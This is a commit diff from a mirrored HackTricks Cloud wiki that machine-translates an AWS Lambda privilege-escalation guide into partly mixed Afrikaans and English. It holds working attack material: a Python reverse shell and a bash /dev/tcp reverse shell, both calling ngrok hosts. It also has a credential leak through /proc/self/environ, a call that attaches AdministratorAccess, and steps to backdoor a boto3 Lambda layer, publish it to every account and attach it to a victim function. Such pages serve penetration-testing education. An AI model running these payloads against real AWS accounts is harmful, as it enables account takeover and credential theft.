gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-05 01:07:11 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

Browse Source
This commit is contained in:
Translator
2024-12-31 20:29:08 +00:00
parent 2753c75e8b
commit 396dbafaf2
245 changed files with 9878 additions and 12609 deletions
Download Patch File Download Diff File Expand all files Collapse all files

212
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md
View File

@@ -4,7 +4,7 @@
## lambda
More info about lambda in:
Meer inligting oor lambda in:
{{#ref}}
../aws-services/aws-lambda-enum.md
@@ -12,23 +12,22 @@ More info about lambda in:
### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`)
Users with the **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:InvokeFunction`** permissions can escalate their privileges.\
They can **create a new Lambda function and assign it an existing IAM role**, granting the function the permissions associated with that role. The user can then **write and upload code to this Lambda function (with a rev shell for example)**.\
Once the function is set up, the user can **trigger its execution** and the intended actions by invoking the Lambda function through the AWS API. This approach effectively allows the user to perform tasks indirectly through the Lambda function, operating with the level of access granted to the IAM role associated with it.\\
A attacker could abuse this to get a **rev shell and steal the token**:
Gebruikers met die **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:InvokeFunction`** toestemmings kan hul voorregte verhoog.\
Hulle kan **'n nuwe Lambda-funksie skep en dit 'n bestaande IAM-rol toewys**, wat die funksie die toestemmings verleen wat met daardie rol geassosieer word. Die gebruiker kan dan **kode na hierdie Lambda-funksie skryf en oplaai (met 'n rev shell byvoorbeeld)**.\
Sodra die funksie opgestel is, kan die gebruiker **die uitvoering daarvan aktiveer** en die beoogde aksies deur die Lambda-funksie via die AWS API aan te roep. Hierdie benadering stel die gebruiker effektief in staat om take indirek deur die Lambda-funksie uit te voer, werkend met die toegangsvlak wat aan die IAM-rol geassosieer is.\\
'n Aanvaller kan dit misbruik om 'n **rev shell te kry en die token te steel**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
```
```bash
@@ -37,8 +36,8 @@ zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
@@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
You could also **abuse the lambda role permissions** from the lambda function itself.\
If the lambda role had enough permissions you could use it to grant admin rights to you:
U kan ook **misbruik maak van die lambda rol toestemmings** vanaf die lambda funksie self.\
As die lambda rol genoeg toestemmings gehad het, kan u dit gebruik om admin regte aan u toe te ken:
```python
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.
Dit is ook moontlik om die lambda se rol geloofsbriewe te lek sonder om 'n eksterne verbinding te benodig. Dit sou nuttig wees vir **Network isolated Lambdas** wat op interne take gebruik word. As daar onbekende sekuriteitsgroepe is wat jou omgekeerde skulpies filter, sal hierdie stuk kode jou toelaat om die geloofsbriewe direk as die uitvoer van die lambda te lek.
```python
def handler(event, context):
    sessiontoken = open('/proc/self/environ', "r").read()
    return {
        'statusCode': 200,
        'session': str(sessiontoken)
    }
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
```
```bash
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**Potensiële Impak:** Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
> [!CAUTION]
> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
> Let daarop dat selfs al lyk dit interessant **`lambda:InvokeAsync`** **nie** op sy eie toelaat om **`aws lambda invoke-async`** uit te voer nie, jy het ook `lambda:InvokeFunction` nodig.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`**
Soos in die vorige scenario, kan jy **jouself die `lambda:InvokeFunction`** toestemming gee as jy die toestemming **`lambda:AddPermission`** het.
```bash
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
**Potensiële Impak:** Direkte privesc na die arbitrêre lambda diensrol wat gespesifiseer is.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
They can create a **Lambda function with malicious code and assign it an existing IAM role**.
Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.
Gebruikers met **`iam:PassRole`, `lambda:CreateFunction`, en `lambda:CreateEventSourceMapping`** toestemmings (en moontlik `dynamodb:PutItem` en `dynamodb:CreateTable`) kan indirek **privileges verhoog** selfs sonder `lambda:InvokeFunction`.\
Hulle kan 'n **Lambda-funksie met kwaadwillige kode skep en dit aan 'n bestaande IAM-rol toewys**.
In plaas daarvan om die Lambda direk aan te roep, stel die gebruiker 'n bestaande DynamoDB-tabel op of gebruik dit, en koppel dit aan die Lambda deur middel van 'n gebeurtenisbron-mapping. Hierdie opstelling verseker dat die Lambda-funksie **automaties geaktiveer word wanneer 'n nuwe item** in die tabel ingevoer word, hetsy deur die gebruiker se aksie of 'n ander proses, en roep dus indirek die Lambda-funksie aan en voer die kode uit met die toestemmings van die oorgedraagde IAM-rol.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:
As DynamoDB reeds aktief is in die AWS-omgewing, moet die gebruiker net **die gebeurtenisbronkaart** vir die Lambda-funksie opstel. As DynamoDB egter nie in gebruik is nie, moet die gebruiker **nuwe tabel** met streaming geaktiveer skep:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:
Nou is dit moontlik **om die Lambda-funksie aan die DynamoDB-tabel te koppel** deur **'n gebeurtenisbronkaart te skep**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:
Met die Lambda-funksie wat aan die DynamoDB-stroom gekoppel is, kan die aanvaller **indirek die Lambda aktiveer deur die DynamoDB-stroom te aktiveer**. Dit kan bereik word deur **'n item in die DynamoDB-tabel in te voeg**:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
--item Test={S="Random string"}
```
**Potential Impact:** Direct privesc to the lambda service role specified.
**Potensiële Impak:** Direkte privesc na die lambda diensrol gespesifiseer.
### `lambda:AddPermission`
An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
'n Aanvaller met hierdie toestemming kan **homself (of ander) enige toestemmings gee** (dit genereer hulpbron-gebaseerde beleide om toegang tot die hulpbron te verleen):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -147,51 +130,44 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gebruik word deur toestemming te gee om die kode te wysig en dit uit te voer.
### `lambda:AddLayerVersionPermission`
An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
'n Aanvaller met hierdie toestemming kan **homself (of ander) die toestemming `lambda:GetLayerVersion` gee**. Hy kan toegang tot die laag verkry en soek na kwesbaarhede of sensitiewe inligting.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** Potential access to sensitive information.
**Potensiële Impak:** Potensiële toegang tot sensitiewe inligting.
### `lambda:UpdateFunctionCode`
Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\
The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.
Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
Gebruikers wat die **`lambda:UpdateFunctionCode`** toestemming het, het die potensiaal om die **kode van 'n bestaande Lambda-funksie wat aan 'n IAM-rol gekoppel is, te wysig.**\
Die aanvaller kan **die kode van die lambda wysig om die IAM-akkrediteerings te eksfiltreer**.
Alhoewel die aanvaller dalk nie die direkte vermoë het om die funksie aan te roep nie, as die Lambda-funksie reeds bestaan en operasioneel is, is dit waarskynlik dat dit geaktiveer sal word deur bestaande werksvloei of gebeurtenisse, wat indirek die uitvoering van die gewysigde kode fasiliteer.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potential Impact:** Direct privesc to the lambda service role used.
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gebruik word.
### `lambda:UpdateFunctionConfiguration`
#### RCE via env variables
With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
#### RCE via omgewing veranderlikes
Met hierdie toestemmings is dit moontlik om omgewing veranderlikes by te voeg wat die Lambda sal laat uitvoer willekeurige kode. Byvoorbeeld, in python is dit moontlik om die omgewing veranderlikes `PYTHONWARNING` en `BROWSER` te misbruik om 'n python-proses willekeurige opdragte te laat uitvoer:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
Vir ander skripting tale is daar ander omgewingsveranderlikes wat jy kan gebruik. Vir meer inligting, kyk na die subafdelings van skripting tale in:
{{#ref}}
https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
@@ -199,19 +175,17 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
Inside lambda you can check the paths from where python code is loaded with a function like the following:
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) laat jou toe om **kode** in jou lambda funksie in te sluit, maar **dit apart te stoor**, sodat die funksiekode klein kan bly en **verskeie funksies kode kan deel**.
Binne lambda kan jy die paaie nagaan waarvandaan python kode gelaai word met 'n funksie soos die volgende:
```python
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
print(json.dumps(sys.path, indent=2))
```
These are the places:
Hierdie is die plekke:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -224,73 +198,61 @@ These are the places:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
Byvoorbeeld, die biblioteek boto3 word gelaai vanaf `/var/runtime/boto3` (4de posisie).
#### Exploitation
#### Exploitatie
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
Dit is moontlik om die toestemming `lambda:UpdateFunctionConfiguration` te misbruik om **'n nuwe laag** by 'n lambda-funksie te **voeg**. Om arbitrêre kode uit te voer, moet hierdie laag 'n **biblioteek bevat wat die lambda gaan invoer.** As jy die kode van die lambda kan lees, kan jy dit maklik vind, let ook daarop dat dit moontlik is dat die lambda **reeds 'n laag gebruik** en jy kan die laag **aflaai** en **jou kode** daarby voeg.
Byvoorbeeld, kom ons neem aan dat die lambda die biblioteek boto3 gebruik, dit sal 'n plaaslike laag met die laaste weergawe van die biblioteek skep:
```bash
pip3 install -t ./lambda_layer boto3
```
You can open `./lambda_layer/boto3/__init__.py` and **voeg die agterdeur in die globale kode by** (n funksie om akrediteerbare te exfiltreer of 'n omgekeerde skulp te kry byvoorbeeld).
You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
Then, zip that `./lambda_layer` directory and **laai die nuwe lambda-laag op** in jou eie rekening (of in die slagoffer s'n, maar jy mag dalk nie toestemming hê nie).\
Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **kompatibel met die python weergawe** wat deur die lambda gebruik word en as jy dit na jou rekening oplaai, moet dit in die **dieselfde streek** wees:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Now, make the uploaded lambda layer **accessible by any account**:
Nou, maak die opgelaaide lambda-laag **toeganklik vir enige rekening**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
And attach the lambda layer to the victim lambda function:
En heg die lambda-laag aan die slagoffer lambda-funksie:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Die volgende stap sal wees om of **die funksie** self aan te roep as ons kan of om te wag totdat dit **aangeroep word** deur normale middele – wat die veiliger metode is.
The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method.
A **more stealth way to exploit this vulnerability** can be found in:
'n **Meer stealth manier om hierdie kwesbaarheid te benut** kan gevind word in:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potential Impact:** Direct privesc to the lambda service role used.
**Potensiële Impak:** Direkte privesc na die lambda diensrol wat gebruik word.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!
Miskien met daardie toestemmings kan jy 'n funksie skep en dit uitvoer deur die URL aan te roep... maar ek kon nie 'n manier vind om dit te toets nie, so laat weet my as jy dit doen!
### Lambda MitM
Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
Sommige lambdas gaan **sensitiewe inligting van die gebruikers in parameters ontvang.** As jy RCE in een van hulle kry, kan jy die inligting wat ander gebruikers na dit stuur, uitvange, kyk dit in:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## References
## Verwysings
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}